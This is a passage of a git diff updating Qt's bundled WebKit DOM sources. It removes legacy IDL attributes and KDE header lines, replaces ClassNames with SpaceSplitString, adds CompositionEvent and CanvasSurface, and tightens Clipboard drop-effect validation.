  * Copyright (C) 2001 Tobias Anton (anton@stud.fbi.fh-darmstadt.de)
  * Copyright (C) 2006 Samuel Weinig (sam.weinig@gmail.com)
diff --git a/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.h b/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.h
index 39c96fd..2644693 100644
--- a/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.h
+++ b/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2001 Peter Kelly (pmk@post.com)
  * Copyright (C) 2001 Tobias Anton (anton@stud.fbi.fh-darmstadt.de)
  * Copyright (C) 2006 Samuel Weinig (sam.weinig@gmail.com)
diff --git a/src/3rdparty/webkit/WebCore/dom/CDATASection.idl b/src/3rdparty/webkit/WebCore/dom/CDATASection.idl
index 7c6c1e6..70a4f55 100644
--- a/src/3rdparty/webkit/WebCore/dom/CDATASection.idl
+++ b/src/3rdparty/webkit/WebCore/dom/CDATASection.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=DC8E30FD-42DD-4a12-9B74-78D634321B41,
-        ImplementationUUID=10A5D70C-D93E-409c-A6BA-9D7CB4E3D06A
-    ] CDATASection : Text {
+    interface CDATASection : Text {
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/CSSMappedAttributeDeclaration.cpp b/src/3rdparty/webkit/WebCore/dom/CSSMappedAttributeDeclaration.cpp
index 7fe0915..9ee6474 100644
--- a/src/3rdparty/webkit/WebCore/dom/CSSMappedAttributeDeclaration.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/CSSMappedAttributeDeclaration.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 1999 Lars Knoll (knoll@kde.org)
  *           (C) 1999 Antti Koivisto (koivisto@kde.org)
  *           (C) 2001 Peter Kelly (pmk@post.com)
diff --git a/src/3rdparty/webkit/WebCore/dom/CanvasSurface.cpp b/src/3rdparty/webkit/WebCore/dom/CanvasSurface.cpp
new file mode 100644
index 0000000..69c7951
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CanvasSurface.cpp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "CanvasSurface.h"
+
+namespace WebCore {
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/CanvasSurface.h b/src/3rdparty/webkit/WebCore/dom/CanvasSurface.h
new file mode 100644
index 0000000..118db8f
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CanvasSurface.h
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef CanvasSurface_h
+#define CanvasSurface_h
+
+#include <wtf/Noncopyable.h>
+
+namespace WebCore {
+
+class CanvasSurface : public Noncopyable {
+public:
+
+private:
+};
+
+} // namespace WebCore
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/dom/CharacterData.idl b/src/3rdparty/webkit/WebCore/dom/CharacterData.idl
index 7c8c7ac..4ddd782 100644
--- a/src/3rdparty/webkit/WebCore/dom/CharacterData.idl
+++ b/src/3rdparty/webkit/WebCore/dom/CharacterData.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=149159F4-D2BA-4040-8137-6BF6424C972A,
-        ImplementationUUID=E2095280-B9BD-446a-8C03-79F78417CDFF
-    ] CharacterData : Node {
+    interface CharacterData : Node {
 
         attribute [ConvertNullToNullString] DOMString data
             setter raises(DOMException);
diff --git a/src/3rdparty/webkit/WebCore/dom/CheckedRadioButtons.cpp b/src/3rdparty/webkit/WebCore/dom/CheckedRadioButtons.cpp
index 9883f58..3cf8848 100644
--- a/src/3rdparty/webkit/WebCore/dom/CheckedRadioButtons.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/CheckedRadioButtons.cpp
@@ -60,6 +60,8 @@ HTMLInputElement* CheckedRadioButtons::checkedButtonForGroup(const AtomicString&
 {
     if (!m_nameToCheckedRadioButtonMap)
         return 0;
+
+    m_nameToCheckedRadioButtonMap->checkConsistency();
     
     return m_nameToCheckedRadioButtonMap->get(name.impl());
 }
@@ -69,6 +71,8 @@ void CheckedRadioButtons::removeButton(HTMLFormControlElement* element)
     if (element->name().isEmpty() || !m_nameToCheckedRadioButtonMap)
         return;
     
+    m_nameToCheckedRadioButtonMap->checkConsistency();
+
     NameToInputMap::iterator it = m_nameToCheckedRadioButtonMap->find(element->name().impl());
     if (it == m_nameToCheckedRadioButtonMap->end() || it->second != element)
         return;
diff --git a/src/3rdparty/webkit/WebCore/dom/ClassNames.cpp b/src/3rdparty/webkit/WebCore/dom/ClassNames.cpp
deleted file mode 100644
index 1c5ff47..0000000
--- a/src/3rdparty/webkit/WebCore/dom/ClassNames.cpp
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2007 David Smith (catfish.man@gmail.com)
- * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
- *
- * This library is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Library General Public
- * License as published by the Free Software Foundation; either
- * version 2 of the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Library General Public License for more details.
- *
- * You should have received a copy of the GNU Library General Public License
- * along with this library; see the file COPYING.LIB.  If not, write to
- * the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
- * Boston, MA 02111-1307, USA.
- */
-
-#include "config.h"
-#include "ClassNames.h"
-
-#include <wtf/ASCIICType.h>
-
-using namespace WTF;
-
-namespace WebCore {
-
-static bool hasNonASCIIOrUpper(const String& string)
-{
-    const UChar* characters = string.characters();
-    unsigned length = string.length();
-    bool hasUpper = false;
-    UChar ored = 0;
-    for (unsigned i = 0; i < length; i++) {
-        UChar c = characters[i];
-        hasUpper |= isASCIIUpper(c);
-        ored |= c;
-    }
-    return hasUpper || (ored & ~0x7F);
-}
-
-void ClassNamesData::createVector()
-{
-    ASSERT(!m_createdVector);
-    ASSERT(m_vector.isEmpty());
-
-    if (m_shouldFoldCase && hasNonASCIIOrUpper(m_string))
-        m_string = m_string.foldCase();
-
-    const UChar* characters = m_string.characters();
-    unsigned length = m_string.length();
-    unsigned start = 0;
-    while (true) {
-        while (start < length && isClassWhitespace(characters[start]))
-            ++start;
-        if (start >= length)
-            break;
-        unsigned end = start + 1;
-        while (end < length && !isClassWhitespace(characters[end]))
-            ++end;
-
-        m_vector.append(AtomicString(characters + start, end - start));
-
-        start = end + 1;
-    }
-
-    m_string = String();
-    m_createdVector = true;
-}
-
-bool ClassNamesData::containsAll(ClassNamesData& other)
-{
-    ensureVector();
-    other.ensureVector();
-    size_t thisSize = m_vector.size();
-    size_t otherSize = other.m_vector.size();
-    for (size_t i = 0; i < otherSize; ++i) {
-        const AtomicString& name = other.m_vector[i];
-        size_t j;
-        for (j = 0; j < thisSize; ++j) {
-            if (m_vector[j] == name)
-                break;
-        }
-        if (j == thisSize)
-            return false;
-    }
-    return true;
-}
-
-} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/ClassNames.h b/src/3rdparty/webkit/WebCore/dom/ClassNames.h
deleted file mode 100644
index a836606..0000000
--- a/src/3rdparty/webkit/WebCore/dom/ClassNames.h
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
- *
- * This library is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Library General Public
- * License as published by the Free Software Foundation; either
- * version 2 of the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Library General Public License for more details.
- *
- * You should have received a copy of the GNU Library General Public License
- * along with this library; see the file COPYING.LIB.  If not, write to
- * the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
- * Boston, MA 02111-1307, USA.
- *
- */
-
-#ifndef ClassNames_h
-#define ClassNames_h
-
-#include "AtomicString.h"
-#include <wtf/OwnPtr.h>
-#include <wtf/Vector.h>
-
-namespace WebCore {
-
-    class ClassNamesData : public Noncopyable {
-    public:
-        ClassNamesData(const String& string, bool shouldFoldCase)
-            : m_string(string), m_shouldFoldCase(shouldFoldCase), m_createdVector(false)
-        {
-        }
-
-        bool contains(const AtomicString& string)
-        {
-            ensureVector();
-            size_t size = m_vector.size();
-            for (size_t i = 0; i < size; ++i) {
-                if (m_vector[i] == string)
-                    return true;
-            }
-            return false;
-        }
-
-        bool containsAll(ClassNamesData&);
-
-        size_t size() { ensureVector(); return m_vector.size(); }
-        const AtomicString& operator[](size_t i) { ensureVector(); ASSERT(i < size()); return m_vector[i]; }
-
-    private:
-        void ensureVector() { if (!m_createdVector) createVector(); }
-        void createVector();
-
-        typedef Vector<AtomicString, 8> ClassNameVector;
-        String m_string;
-        ClassNameVector m_vector;
-        bool m_shouldFoldCase;
-        bool m_createdVector;
-    };
-
-    class ClassNames {
-    public:
-        ClassNames() { }
-        ClassNames(const String& string, bool shouldFoldCase) : m_data(new ClassNamesData(string, shouldFoldCase)) { }
-
-        void set(const String& string, bool shouldFoldCase) { m_data.set(new ClassNamesData(string, shouldFoldCase)); }
-        void clear() { m_data.clear(); }
-
-        bool contains(const AtomicString& string) const { return m_data && m_data->contains(string); }
-        bool containsAll(const ClassNames& names) const { return !names.m_data || (m_data && m_data->containsAll(*names.m_data)); }
-
-        size_t size() const { return m_data ? m_data->size() : 0; }
-        const AtomicString& operator[](size_t i) const { ASSERT(i < size()); return (*m_data)[i]; }
-
-    private:
-        OwnPtr<ClassNamesData> m_data;
-    };
-
-    inline bool isClassWhitespace(UChar c)
-    {
-        return c == ' ' || c == '\r' || c == '\n' || c == '\t' || c == '\f';
-    }
-
-} // namespace WebCore
-
-#endif // ClassNames_h
diff --git a/src/3rdparty/webkit/WebCore/dom/ClassNodeList.h b/src/3rdparty/webkit/WebCore/dom/ClassNodeList.h
index d40ee19..c519b3e 100644
--- a/src/3rdparty/webkit/WebCore/dom/ClassNodeList.h
+++ b/src/3rdparty/webkit/WebCore/dom/ClassNodeList.h
@@ -30,8 +30,8 @@
 #ifndef ClassNodeList_h
 #define ClassNodeList_h
 
-#include "ClassNames.h"
 #include "DynamicNodeList.h"
+#include "SpaceSplitString.h"
 
 namespace WebCore {
 
@@ -47,7 +47,7 @@ namespace WebCore {
 
         virtual bool nodeMatches(Element*) const;
 
-        ClassNames m_classNames;
+        SpaceSplitString m_classNames;
     };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/ClientRect.idl b/src/3rdparty/webkit/WebCore/dom/ClientRect.idl
index 6f0598f..7dbdd68 100644
--- a/src/3rdparty/webkit/WebCore/dom/ClientRect.idl
+++ b/src/3rdparty/webkit/WebCore/dom/ClientRect.idl
@@ -26,9 +26,7 @@
 
 module view {
 
-    interface [
-        GenerateConstructor
-    ] ClientRect {
+    interface ClientRect {
         readonly attribute float top;
         readonly attribute float right;
         readonly attribute float bottom;
diff --git a/src/3rdparty/webkit/WebCore/dom/ClientRectList.idl b/src/3rdparty/webkit/WebCore/dom/ClientRectList.idl
index 8230f6c..6372418 100644
--- a/src/3rdparty/webkit/WebCore/dom/ClientRectList.idl
+++ b/src/3rdparty/webkit/WebCore/dom/ClientRectList.idl
@@ -27,7 +27,6 @@
 module view {
 
     interface [
-        GenerateConstructor,
         HasIndexGetter
     ] ClientRectList {
         readonly attribute unsigned long length;
diff --git a/src/3rdparty/webkit/WebCore/dom/Clipboard.cpp b/src/3rdparty/webkit/WebCore/dom/Clipboard.cpp
index 6d1bc15..bb9a0cb 100644
--- a/src/3rdparty/webkit/WebCore/dom/Clipboard.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Clipboard.cpp
@@ -27,7 +27,6 @@
 #include "Clipboard.h"
 
 #include "CachedImage.h"
-#include "DOMImplementation.h"
 #include "Frame.h"
 #include "FrameLoader.h"
 #include "Image.h"
@@ -35,7 +34,9 @@
 namespace WebCore {
 
 Clipboard::Clipboard(ClipboardAccessPolicy policy, bool isForDragging) 
-    : m_policy(policy) 
+    : m_policy(policy)
+    , m_dropEffect("uninitialized")
+    , m_effectAllowed("uninitialized")
     , m_dragStarted(false)
     , m_forDragging(isForDragging)
     , m_dragImage(0)
@@ -55,6 +56,8 @@ void Clipboard::setAccessPolicy(ClipboardAccessPolicy policy)
 static DragOperation dragOpFromIEOp(const String& op)
 {
     // yep, it's really just this fixed set
+    if (op == "uninitialized")
+        return DragOperationEvery;
     if (op == "none")
         return DragOperationNone;
     if (op == "copy")
@@ -62,7 +65,7 @@ static DragOperation dragOpFromIEOp(const String& op)
     if (op == "link")
         return DragOperationLink;
     if (op == "move")
-        return DragOperationGeneric;
+        return DragOperationGeneric;    // FIXME: Why is this DragOperationGeneric? <http://webkit.org/b/33697>
     if (op == "copyLink")
         return (DragOperation)(DragOperationCopy | DragOperationLink);
     if (op == "copyMove")
@@ -96,29 +99,29 @@ static String IEOpFromDragOp(DragOperation op)
     return "none";
 }
 
-bool Clipboard::sourceOperation(DragOperation& op) const
+DragOperation Clipboard::sourceOperation() const
 {
-    if (m_effectAllowed.isNull())
-        return false;
-    op = dragOpFromIEOp(m_effectAllowed);
-    return true;
+    DragOperation op = dragOpFromIEOp(m_effectAllowed);
+    ASSERT(op != DragOperationPrivate);
+    return op;
 }
 
-bool Clipboard::destinationOperation(DragOperation& op) const
+DragOperation Clipboard::destinationOperation() const
 {
-    if (m_dropEffect.isNull())
-        return false;
-    op = dragOpFromIEOp(m_dropEffect);
-    return true;
+    DragOperation op = dragOpFromIEOp(m_dropEffect);
+    ASSERT(op == DragOperationCopy || op == DragOperationNone || op == DragOperationLink || op == DragOperationGeneric || op == DragOperationMove || op == DragOperationEvery);
+    return op;
 }
 
 void Clipboard::setSourceOperation(DragOperation op)
 {
+    ASSERT_ARG(op, op != DragOperationPrivate);
     m_effectAllowed = IEOpFromDragOp(op);
 }
 
 void Clipboard::setDestinationOperation(DragOperation op)
 {
+    ASSERT_ARG(op, op == DragOperationCopy || op == DragOperationNone || op == DragOperationLink || op == DragOperationGeneric || op == DragOperationMove);
     m_dropEffect = IEOpFromDragOp(op);
 }
 
@@ -127,6 +130,10 @@ void Clipboard::setDropEffect(const String &effect)
     if (!m_forDragging)
         return;
 
+    // The attribute must ignore any attempts to set it to a value other than none, copy, link, and move. 
+    if (effect != "none" && effect != "copy"  && effect != "link" && effect != "move")
+        return;
+
     if (m_policy == ClipboardReadable || m_policy == ClipboardTypesReadable)
         m_dropEffect = effect;
 }
@@ -136,6 +143,17 @@ void Clipboard::setEffectAllowed(const String &effect)
     if (!m_forDragging)
         return;
 
+    if (dragOpFromIEOp(effect) == DragOperationPrivate) {
+        // This means that there was no conversion, and the effectAllowed that
+        // we are passed isn't a valid effectAllowed, so we should ignore it,
+        // and not set m_effectAllowed.
+
+        // The attribute must ignore any attempts to set it to a value other than 
+        // none, copy, copyLink, copyMove, link, linkMove, move, all, and uninitialized.
+        return;
+    }
+
+
     if (m_policy == ClipboardWritable)
         m_effectAllowed = effect;
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/Clipboard.h b/src/3rdparty/webkit/WebCore/dom/Clipboard.h
index f6c09b2..4018e4f 100644
--- a/src/3rdparty/webkit/WebCore/dom/Clipboard.h
+++ b/src/3rdparty/webkit/WebCore/dom/Clipboard.h
@@ -43,8 +43,9 @@ namespace WebCore {
         // Is this operation a drag-drop or a copy-paste?
         bool isForDragging() const { return m_forDragging; }
 
-        String dropEffect() const { return m_dropEffect; }
+        String dropEffect() const { return dropEffectIsUninitialized() ? "none" : m_dropEffect; }
         void setDropEffect(const String&);
+        bool dropEffectIsUninitialized() const { return m_dropEffect == "uninitialized"; }
         String effectAllowed() const { return m_effectAllowed; }
         void setEffectAllowed(const String&);
     
@@ -69,13 +70,14 @@ namespace WebCore {
 #endif
         virtual void writeURL(const KURL&, const String&, Frame*) = 0;
         virtual void writeRange(Range*, Frame*) = 0;
+        virtual void writePlainText(const String&) = 0;
 
         virtual bool hasData() = 0;
         
         void setAccessPolicy(ClipboardAccessPolicy);
 
-        bool sourceOperation(DragOperation&) const;
-        bool destinationOperation(DragOperation&) const;
+        DragOperation sourceOperation() const;
+        DragOperation destinationOperation() const;
         void setSourceOperation(DragOperation);
         void setDestinationOperation(DragOperation);
         
diff --git a/src/3rdparty/webkit/WebCore/dom/Clipboard.idl b/src/3rdparty/webkit/WebCore/dom/Clipboard.idl
index dc8677e..6509677 100644
--- a/src/3rdparty/webkit/WebCore/dom/Clipboard.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Clipboard.idl
@@ -28,9 +28,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor
-    ] Clipboard {
+    interface Clipboard {
                  attribute [ConvertNullStringTo=Undefined] DOMString dropEffect;
                  attribute [ConvertNullStringTo=Undefined] DOMString effectAllowed;
         readonly attribute [CustomGetter] Array types;
diff --git a/src/3rdparty/webkit/WebCore/dom/Comment.idl b/src/3rdparty/webkit/WebCore/dom/Comment.idl
index a89f0e7..b9f4e31 100644
--- a/src/3rdparty/webkit/WebCore/dom/Comment.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Comment.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=5D16069F-7E6B-4b28-8647-C36B2ED81ED1,
-        ImplementationUUID=CB55DB55-411F-451f-97C6-284B99E77F8E
-    ] Comment : CharacterData {
+    interface Comment : CharacterData {
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/CompositionEvent.cpp b/src/3rdparty/webkit/WebCore/dom/CompositionEvent.cpp
new file mode 100644
index 0000000..508d5e6
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CompositionEvent.cpp
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ *
+ */
+
+#include "config.h"
+#include "CompositionEvent.h"
+
+#include "EventNames.h"
+
+namespace WebCore {
+
+CompositionEvent::CompositionEvent()
+{
+}
+
+CompositionEvent::CompositionEvent(const AtomicString& type, PassRefPtr<AbstractView> view, const String& data)
+    : UIEvent(type, true, true, view, 0)
+    , m_data(data)
+{
+}
+
+CompositionEvent::~CompositionEvent()
+{
+}
+
+void CompositionEvent::initCompositionEvent(const AtomicString& type, bool canBubble, bool cancelable, PassRefPtr<AbstractView> view, const String& data)
+{
+    if (dispatched())
+        return;
+
+    initUIEvent(type, canBubble, cancelable, view, 0);
+
+    m_data = data;
+}
+
+bool CompositionEvent::isCompositionEvent() const
+{
+    return true;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/CompositionEvent.h b/src/3rdparty/webkit/WebCore/dom/CompositionEvent.h
new file mode 100644
index 0000000..4ff01ae
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CompositionEvent.h
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ *
+ */
+
+#ifndef CompositionEvent_h
+#define CompositionEvent_h
+
+#include "UIEvent.h"
+
+namespace WebCore {
+
+    class CompositionEvent : public UIEvent {
+    public:
+        static PassRefPtr<CompositionEvent> create()
+        {
+            return adoptRef(new CompositionEvent);
+        }
+        static PassRefPtr<CompositionEvent> create(const AtomicString& type, PassRefPtr<AbstractView> view, const String& data)
+        {
+          return adoptRef(new CompositionEvent(type, view, data));
+        }
+        virtual ~CompositionEvent();
+    
+        void initCompositionEvent(const AtomicString& type, bool canBubble, bool cancelable, PassRefPtr<AbstractView>, const String& data);
+    
+        String data() const { return m_data; }
+
+        virtual bool isCompositionEvent() const;
+
+    private:
+        CompositionEvent();
+        CompositionEvent(const AtomicString& type, PassRefPtr<AbstractView> view, const String& data);
+
+        String m_data;
+    };
+
+} // namespace WebCore
+
+#endif // CompositionEvent_h
diff --git a/src/3rdparty/webkit/WebCore/dom/CompositionEvent.idl b/src/3rdparty/webkit/WebCore/dom/CompositionEvent.idl
new file mode 100644
index 0000000..28d6625
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/dom/CompositionEvent.idl
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+module events {
+
+    // Introduced in DOM Level 3:
+    interface CompositionEvent : UIEvent {
+
+        readonly attribute DOMString data;
+
+        void initCompositionEvent(in DOMString typeArg, 
+                                  in boolean canBubbleArg, 
+                                  in boolean cancelableArg, 
+                                  in DOMWindow viewArg, 
+                                  in DOMString dataArg);
+
+    };
+
+}
diff --git a/src/3rdparty/webkit/WebCore/dom/ContainerNode.cpp b/src/3rdparty/webkit/WebCore/dom/ContainerNode.cpp
index 5cd0781..fb2852f 100644
--- a/src/3rdparty/webkit/WebCore/dom/ContainerNode.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/ContainerNode.cpp
@@ -33,6 +33,7 @@
 #include "Frame.h"
 #include "FrameView.h"
 #include "InlineTextBox.h"
+#include "InspectorController.h"
 #include "MutationEvent.h"
 #include "Page.h"
 #include "RenderTheme.h"
@@ -42,6 +43,7 @@
 
 namespace WebCore {
 
+static void notifyChildInserted(Node*);
 static void dispatchChildInsertionEvents(Node*);
 static void dispatchChildRemovalEvents(Node*);
 
@@ -143,9 +145,9 @@ bool ContainerNode::insertBefore(PassRefPtr<Node> newChild, Node* refChild, Exce
         child->setNextSibling(next.get());
         allowEventDispatch();
 
-        // Dispatch the mutation events.
+        // Send notification about the children change.
         childrenChanged(false, refChildPreviousSibling.get(), next.get(), 1);
-        dispatchChildInsertionEvents(child.get());
+        notifyChildInserted(child.get());
                 
         // Add child to the rendering tree.
         if (attached() && !child->attached() && child->parent() == this) {
@@ -155,6 +157,10 @@ bool ContainerNode::insertBefore(PassRefPtr<Node> newChild, Node* refChild, Exce
                 child->attach();
         }
 
+        // Now that the child is attached to the render tree, dispatch
+        // the relevant mutation events.
+        dispatchChildInsertionEvents(child.get());
+
         child = nextChild.release();
     }
 
